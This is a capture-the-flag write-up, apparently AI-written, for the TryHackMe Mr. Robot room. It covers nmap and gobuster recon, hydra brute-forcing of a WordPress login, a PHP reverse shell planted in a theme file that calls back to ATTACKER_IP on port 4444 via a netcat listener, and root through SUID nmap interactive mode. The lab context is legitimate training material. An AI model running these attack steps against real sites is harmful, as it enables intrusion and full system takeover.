

Penetration Testing Report: Mr. Robot CTF (TryHackMe)

1. Reconnaissance & Enumeration

Network Scanning (**nmap**)

An initial network scan was performed to identify open ports and services running on the target machine.

Bash

```
nmap -sC -sV <TARGET_IP>
```

Discovered Ports:

- **Port 22/TCP:** SSH (Open)
- **Port 80/TCP:** HTTP (Open - Apache Web Server)

Web Directory Auditing (**gobuster**)

A directory brute-force attack was conducted against the web server on port 80 to discover hidden files and directories.

- **Key Findings:**
 - **/robots.txt:** Accessed and analyzed.
 - **/wp-login.php:** Identified a WordPress login portal.

Inside **/robots.txt**, two significant artifacts were discovered and extracted:

1. **key-1-of-3.txt:** The first flag.
2. **fsociety.dic:** A custom wordlist.

Wordlist Optimization

The downloaded **fsociety.dic** contained numerous duplicate entries. To optimize the dictionary for subsequent brute-force attacks, the repeated words were removed to keep only unique entries:

Bash

```
sort -u fsociety.dic > unique_fsociety.dic
```

2. Exploitation & Initial Access

WordPress Brute-Forcing (**hydra**)

Using the optimized wordlist (**unique_fsociety.dic**), a brute-force attack was launched against the WordPress login portal to identify valid credentials.

1. **Username Enumeration:** A brute-force attempt successfully isolated a valid username: `elliott`.
2. **Password Cracking:** A secondary attack targeting the `elliott` account successfully cracked the password.

Gaining a Reverse Shell

With administrative access to the WordPress dashboard, code execution was achieved via theme modification:

1. Navigated to the theme editor and selected `archive.php`.
2. Replaced the existing code with a standard **PHP Reverse Shell script**.
3. Configured the script's payload parameters to match the attacker's IP address and listening port:
4. PHP

```
$ip = 'ATTACKER_IP';
```

```
$port = 4444;
```

- 5.
6. Set up a local Netcat listener on the attacker machine:
7. Bash

```
nc -lvnp 4444
```

- 8.
9. Triggered the payload by navigating directly to the edited file URL:
`http://<TARGET_IP>/wp-content/themes/<THEME_NAME>/archive.php`.
10. Caught the incoming connection, successfully establishing an initial reverse shell.

3. Lateral Movement

Upon landing on the target file system, the shell environment was stabilized using Python to allow proper interactive terminal functionality:

```
Bash
```

```
python -c 'import pty; pty.spawn("/bin/bash")'
```

Navigating to the `/home/robot` directory revealed the second flag:

- `key-2-of-3.txt`

4. Privilege Escalation

SUID Enumeration

To elevate privileges from the `robot` user to `root`, a search for files with SUID (Set Owner User ID) permissions enabled was executed:

Bash

```
find / -perm -u=s -type f 2>/dev/null
```

- **Vulnerable Binary Found:** An older version of `nmap` was discovered running with SUID root permissions.

Exploitation via GTFOBins

Older versions of `nmap` allow an interactive mode that can execute shell commands. Because the binary has the SUID bit set, executing a shell from within it drops into a root session.

According to **GTFOBins**, the binary was exploited using the following sequence:

Bash

```
/path/to/nmap --interactive  
nmap> !sh
```

Final Objective

The shell successfully dropped into a `root` session (`whoami` confirmed `root`).

Navigating to the root directory yielded the final flag:

- `/root/key-3-of-3.txt`

Summary of Loot

- **Flag 1:** Sourced from `/robots.txt`
- **Flag 2:** Sourced from `/home/robot/key-2-of-3.txt`
- **Flag 3:** Sourced from `/root/key-3-of-3.txt`

This report reads cleanly and matches standard documentation styles. Is there any specific formatting or extra section (like a executive summary or remediation advice) you'd like to add to this?